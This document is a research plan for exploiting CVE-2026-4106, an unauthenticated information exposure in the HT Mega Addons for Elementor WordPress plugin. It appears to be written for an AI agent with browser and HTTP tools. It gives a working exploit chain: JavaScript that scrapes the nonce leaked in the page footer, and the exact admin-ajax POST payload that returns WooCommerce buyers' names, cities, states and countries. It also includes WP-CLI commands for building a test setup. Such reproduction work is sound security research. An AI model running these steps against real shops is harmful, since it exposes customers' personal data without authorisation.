Research Plan: CVE-2026-4106 - HT Mega Addons for Elementor Unauthenticated Information Exposure

1. Vulnerability Summary

The HT Mega Addons for Elementor plugin (versions < 3.0.7) is vulnerable to Unauthenticated Information Exposure through its WooCommerce Sales Notification feature. The plugin registers an AJAX action wcsales_purchased_products that is accessible to unauthenticated users via wp_ajax_nopriv_. This endpoint returns sensitive data from recent WooCommerce orders, including the buyer's first name, last name, city, state, and country. Although a WordPress nonce is used for verification, the nonce is leaked in the footer of every frontend page, rendering the protection ineffective against unauthenticated attackers.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: wcsales_purchased_products
• Parameter: security (Nonce)
• Authentication: Unauthenticated (nopriv)
• Preconditions:
  1. WooCommerce must be installed and active.
  2. At least one WooCommerce order must exist (status: completed, pending, processing, or on-hold).
  3. The "Sales Notification" extension in HT Mega must be enabled (often enabled by default or via the plugin settings).

3. Code Flow

1. Registration: In extensions/wc-sales-notification/classes/class.sale_notification.php, the __construct method registers the AJAX handlers:

   add_action('wp_ajax_nopriv_wcsales_purchased_products', [ $this, 'purchased_products' ] );
   add_action('wp_ajax_wcsales_purchased_products', [ $this, 'purchased_products' ] );
   

2. Nonce Exposure: The same class hooks ajax_request to wp_footer:

   add_action( 'wp_footer', [ $this, 'ajax_request' ] );
   

   Inside ajax_request(), the nonce is created and printed directly into a <script> block:

   $ajax_nonce = wp_create_nonce( "wcsales-ajax-request" );
   // ...
   var data = {
       action: 'wcsales_purchased_products',
       security: '<?php echo esc_js( $ajax_nonce ); ?>',
       whatever: 1234
   };
   

3. Data Retrieval: When the AJAX action is called, purchased_products() is executed. It calls check_ajax_referer('wcsales-ajax-request', 'security').
4. Order Exposure: If the nonce is valid, the function queries for orders:

   $args = array(
       'post_type' => 'shop_order',
       'post_status' => 'wc-completed, wc-pending, wc-processing, wc-on-hold',
       // ...
   );
   $posts = get_posts( $args );
   

5. Buyer Info Extraction: For each order, purchased_buyer_info() extracts billing or shipping details:

   $buyerinfo = array(
       'fname' => ... $address['first_name'] ...,
       'lname' => ... $address['last_name'] ...,
       'city' => ... $address['city'] ...,
       'state' => ... $address['state'] ...,
       'country' => ... WC()->countries->countries[$address['country']] ...,
   );
   

6. Output: The data is returned as a JSON array to the unauthenticated requester.

4. Nonce Acquisition Strategy

The nonce is not passed via wp_localize_script but is instead printed as a raw JavaScript variable inside the wp_footer hook.

1. Navigate: Use browser_navigate to go to the WordPress homepage.
2. Extract: Use browser_eval to extract the security nonce from the inline script. Since the variable is defined inside a jQuery ready block and not on the global window object, the most reliable way is to parse the page source or use a regex on the script tags.
3. Regex Approach:

   // Inside browser_eval
   const scripts = Array.from(document.getElementsByTagName('script'));
   const targetScript = scripts.find(s => s.innerText.includes('wcsales_purchased_products'));
   if (targetScript) {
       const match = targetScript.innerText.match(/security:\s*'([a-f0-9]{10})'/);
       return match ? match[1] : null;
   }
   

4. Action String: The nonce action is "wcsales-ajax-request".

5. Exploitation Strategy

1. Target: /wp-admin/admin-ajax.php
2. Method: POST
3. Headers: Content-Type: application/x-www-form-urlencoded
4. Payload:

   action=wcsales_purchased_products&security=[EXTRACTED_NONCE]
   

5. Request Execution: Use the http_request tool.
6. Data Processing: Parse the JSON response. A successful exploit will return an array of objects, each containing a buyer key with fname, lname, city, state, and country.

6. Test Data Setup

1. Install WooCommerce: Ensure WooCommerce is active.
2. Create Order: Use WP-CLI to create a dummy order with PII:

   # Create a customer/order with identifiable info
   # Note: Orders in WC are 'shop_order' post types
   ORDER_ID=$(wp post create --post_type=shop_order --post_status=wc-completed --post_title="Order" --porcelain)
   
   # Add billing information (PII)
   wp post meta update $ORDER_ID _billing_first_name "John"
   wp post meta update $ORDER_ID _billing_last_name "Doe"
   wp post meta update $ORDER_ID _billing_city "Beverly Hills"
   wp post meta update $ORDER_ID _billing_state "CA"
   wp post meta update $ORDER_ID _billing_country "US"
   

3. Enable Extension: Ensure the Sales Notification extension is enabled in HT Mega. (Check wp option get htmega_settings or similar if the plugin stores settings there).

7. Expected Results

• The response should be a JSON array (Status 200 OK).
• Each entry in the array should look like this:

  {
      "id": 123,
      "name": "Product Name",
      "url": "http://...",
      "date": "2024-...",
      "image": "...",
      "price": "$...",
      "buyer": {
          "fname": "John",
          "lname": "Doe",
          "city": "Beverly Hills",
          "state": "CA",
          "country": "United States (US)"
      }
  }
  

8. Verification Steps

1. Check Output: Verify that the fname and lname in the HTTP response match the "John" and "Doe" strings set via WP-CLI.
2. Confirm Nonce Dependency: Attempt the request again with an invalid security parameter (e.g., security=1234567890). The server should return 403 Forbidden or -1 (default WordPress AJAX error).

9. Alternative Approaches

If the extension is not active by default, it may be necessary to manually activate it through the HT Mega settings panel. This can be done via wp option update if the option name is known (likely htmega_settings or a similar key containing a serialized array of enabled modules).

If wp_footer is not being triggered (e.g., on certain themes), try navigating to a specific product page or a page containing an Elementor widget from HT Mega to force the plugin's components to load.